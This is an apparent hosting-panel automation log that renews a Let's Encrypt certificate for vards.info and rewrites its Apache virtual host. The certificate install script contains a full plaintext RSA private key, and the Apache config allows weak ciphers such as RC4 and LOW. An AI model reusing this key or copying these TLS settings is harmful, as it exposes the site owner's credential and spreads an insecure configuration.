MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-08 12:22:03: Establishing a connection
2026-04-08 12:22:03: Establishing a connection
2026-04-08 12:22:03: 

PUT: /tmp/pkp321717

#!/bin/bash
if [ -d "/var/www/vards_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-08 12:22:03: 

chmod 755 /tmp/pkp321717; /tmp/pkp321717; rm /tmp/pkp321717

2026-04-08 12:22:03: 


1


2026-04-08 12:22:05: Establishing a connection
2026-04-08 12:22:05: 

PUT: /tmp/pkp137795

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
cat > qhP8Y6B6CHH5-ZNUn2JYM3jq3bBXWdMsX2SxCDU9Niw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
qhP8Y6B6CHH5-ZNUn2JYM3jq3bBXWdMsX2SxCDU9Niw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 qhP8Y6B6CHH5-ZNUn2JYM3jq3bBXWdMsX2SxCDU9Niw
cat > NEKvesVflHarD3yghZZvFAh1-0coTN7BpNU2rI3B0OI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
NEKvesVflHarD3yghZZvFAh1-0coTN7BpNU2rI3B0OI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 NEKvesVflHarD3yghZZvFAh1-0coTN7BpNU2rI3B0OI


2026-04-08 12:22:05: 

chmod 755 /tmp/pkp137795; /tmp/pkp137795; rm /tmp/pkp137795

2026-04-08 12:22:05: 




2026-04-08 12:22:17: Establishing a connection
2026-04-08 12:22:17: 

PUT: /tmp/pkp841840

#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
rm qhP8Y6B6CHH5-ZNUn2JYM3jq3bBXWdMsX2SxCDU9Niw
rm NEKvesVflHarD3yghZZvFAh1-0coTN7BpNU2rI3B0OI


2026-04-08 12:22:18: 

chmod 755 /tmp/pkp841840; /tmp/pkp841840; rm /tmp/pkp841840

2026-04-08 12:22:18: 




2026-04-08 12:22:18: Establishing a connection
2026-04-08 12:22:18: 

PUT: /tmp/pkp578634

#!/bin/bash
temp_file=$(mktemp)
TARGET=5c147bca0a238ba09c5472db1d5debd9.crt

cat > $temp_file <<'endmsg'
d4:cc:4e:61:30:a3:aa:a1:e7:41:61:c7:de:fe:16:cf

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBVJBE1S3nvCIUUhO1n2EbZzHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA4MTEyMzQ1WhcNMjYwNzA3MTEyMzQ0WjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr7wc
RHuytPhc38X5Ga0/kdQqjYRbvZgk5JRT6rVtcUe1Q+MTVQfiiVMc9D8z7vxZfqho
pVTap6jxonv6Dz4dCFleVZ44JgZxqqJQMelkq+Zgx73HABvOc+wTscXgqo8le5Zz
dG3oBw4HU1Uj658znFOokXjsBqieQKdzhmDjALJzfNP2d1rqa8DUKkD4LiVMY5Wu
oPyO0tVEk/Eh0ORVxC+AKR4O8nmGEJ806TwaoEMw9BvvXRDbof9i9gSt17Ea1dZV
hra7X+s1owCpJ6DMR/oP2IXsL9GyUm3HRch0aOB8ulOpHHwQ0JnRyHm3qUdfQzN3
QCpXl9YUgpNvd2sSPQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMBMGA1Ud
JQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFPfoiTPF8cYA
WfxD2l3BtQMzNlUeMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA471pIzMDMG
CCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9y
Zy8wJQYDVR0RBB4wHIIKdmFyZHMuaW5mb4IOd3d3LnZhcmRzLmluZm8wEwYDVR0g
BAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxl
bmNyLm9yZy83Mi5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkAdwCUTkOH+uzB
74HzGSQmqBhlAcfTXzgCAT9yZ31VNy4Z2AAAAZ1tCxNPAAAEAwBIMEYCIQDi0H5/
4ZiVbINuoKCWe+XgHkt91rihKwCqaG5wVnTjDAIhAIvUyA0xq8bK9QuE1atfE3eI
WmuGwRG/tI8htTKtk8bQAH4AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8
VScAAAGdbQsWsQAIAAAFAAYYfJMEAwBHMEUCICPxOXgPelaRw8rSuxYFGwWgSxX6
zm6GgONaVG66VxarAiEAxFIaFkKaii7TkMrzsIAca61n3kaziKVDCU5FbluET1Ew
DQYJKoZIhvcNAQELBQADggEBAErO+QNlHuibJpgRJSar1Z2Vr3J9/oQXP3/1/Pf7
6x+WmWhJ7Qo3tYVSkxKucLjU1F2cvf0Z4481qlin8KioJERyI4MzxMEv4TFCc/uV
baDMsCfK+h91WfvbdY+uBaUPuHzsnFzDgiBJMows32YlZqq4lZkAKajR/Al+yTAc
amelNn+jbA5gRv9ikI25MnhaG00W0drH44KBqVb45iRzc7YrZM1WHuc264bqPQzZ
j5xbudBjoNlUy9G0hij9sqdLiyLOLfzOkA9lIAYHw3H/6XJ38aMbx/h6kTDAtgv/
TqaDUEbJu63purA/e8qLFQZ1BZuG28W/D/n+wDY/TjrNZrI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCvvBxEe7K0+Fzf
xfkZrT+R1CqNhFu9mCTklFPqtW1xR7VD4xNVB+KJUxz0PzPu/Fl+qGilVNqnqPGi
e/oPPh0IWV5VnjgmBnGqolAx6WSr5mDHvccAG85z7BOxxeCqjyV7lnN0begHDgdT
VSPrnzOcU6iReOwGqJ5Ap3OGYOMAsnN80/Z3WuprwNQqQPguJUxjla6g/I7S1UST
8SHQ5FXEL4ApHg7yeYYQnzTpPBqgQzD0G+9dENuh/2L2BK3XsRrV1lWGtrtf6zWj
AKknoMxH+g/Yhewv0bJSbcdFyHRo4Hy6U6kcfBDQmdHIebepR19DM3dAKleX1hSC
k293axI9AgMBAAECggEAE6ZVAtNSCCo9OEhKsjRNB2FR4MEMAQciGOz89SGUOzZp
bk3Vu4xGKFTCyAzJIc/VsfPiv5ndWSHq4uA59bpcRLK5eZlXbekKjKnZjbsrJo18
BNmThs+VJiEfkqEtneSjrE4GWt5vM1q+NvMuMQp8Gt6/2oRK3/O6vj/7CuuKdmlO
SdLfF2c4Eq7f7xBHatNe4lmoZSP2LGd7eZYx/VYomS8iSTJUnutoFIG5Y+faOpDX
9pFzpxS9QHgL+Q+RnmIdoZyPKUA5KLwTJirouQOfdtqalDhHFJpG0ZRHfy43YiV/
MaMJgaHOXoCr6ZfEvCqGJSzcFaJA092Y+/S4CmnkAQKBgQDb0WTNgMiWlBBFntwj
zMrrAbp/yRqIN50UvTA7n8LutsALX5rvK4ut97x3gfgulwVvcaHGB6fjQuzk8BXS
vjXE+M+HdmWtFv+piXKpwp9S5vEuOCCM9pROMa+VigG3v0hwyOricZDT5o6P5P9w
vReME84krYkrzHIzOxRLhrodCQKBgQDMqShrra/4Yy9Y9QdCGxtwRitL82YaKChC
zk+WI25UoUmbEFZ79eFNeusyliyC3l/DfI8LaT04eAo7eB1vSxkZXcnaKF+BHbKt
jwCfHiWCg+WeCNH5C1u8BzPQ6fhBHxU0f04ds3eI68Eco6DnNFFIBEBjQRSl/cA3
lUVtwI3MlQKBgEMOJUnrN0V39V7Hjy/8kQoPhOzmVAmprWleLRCDM9vOM9dEWucK
yZlQMVXjd+n+d9H/P/JA854IFGviMUYQcCaeH/Ca1Xlvwp3dJ/VRQXjwqjIHPSbD
MYqI7Z8Ycl2zJE4DfGOHcT6y3lpW6PVjOYOppwDZTzblLxEhvJctiijBAoGBAKb8
qodZO0g+nWZG3vo4JeYwyqj42ukitN71eQh2tlIFG4qTBQ21rHRMg9VNpNnO2XIm
koxr/NCzWR32voWNT9hbpxQCdxJhieWE1av+q/pW5iZQ6gn7E4lSkxu1m6J+2w1v
hexD/5dPTMyyUdnz3RIWrfaOJmvdpFV1zSVkxA4VAoGBANsNXEAVVFqzVjBH6mGV
kSjAx+ORSdMVHBBHhGlbnuqDLXcIoWgCNjsqqEBislm5GcrcOZ7ws66Ve50OEv53
iQ26pfPhbwG8le5sFXtBwVYRFCcHchSrhCkAEJwNRRykoAw6gLd96n/RohphIPFM
W/t/Ft6CRcL6Dc79ajEdYZS1
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-08 12:22:18: 

chmod 755 /tmp/pkp578634; /tmp/pkp578634; rm /tmp/pkp578634

2026-04-08 12:22:18: 


dir=/etc/ssl/certs


2026-04-08 12:22:18: 

PUT: /tmp/pkp536977

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vards_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-08 12:22:18: 

chmod 755 /tmp/pkp536977; /tmp/pkp536977; rm /tmp/pkp536977

2026-04-08 12:22:18: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 38

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-08 12:22:18: 

PUT: /tmp/pkp768828

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vards_www_info.conf
TARGET=/etc/apache2/sites-enabled/vards_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_access.log combined
    ErrorLog	/var/log/apache2/vards/www_error.log
    SetEnv pkp_uid	57
    SetEnv pkp_owner	vards
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	vards.info
    ServerAlias	www.vards.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
    DocumentRoot	/var/www/vards_www
    <Directory /var/www/vards_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vards/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vards/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/vards_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf= 1'
fi


2026-04-08 12:22:18: 

chmod 755 /tmp/pkp768828; /tmp/pkp768828; rm /tmp/pkp768828

2026-04-08 12:22:18: 




2026-04-08 12:22:18: 

PUT: /tmp/pkp575977

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-08 12:22:18: 

chmod 755 /tmp/pkp575977; /tmp/pkp575977; rm /tmp/pkp575977

2026-04-08 12:22:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-08 12:22:18: Establishing a connection
2026-04-08 12:22:18: 

PUT: /tmp/pkp637487

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-08 12:22:18: 

chmod 755 /tmp/pkp637487; /tmp/pkp637487; rm /tmp/pkp637487

2026-04-08 12:22:18: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
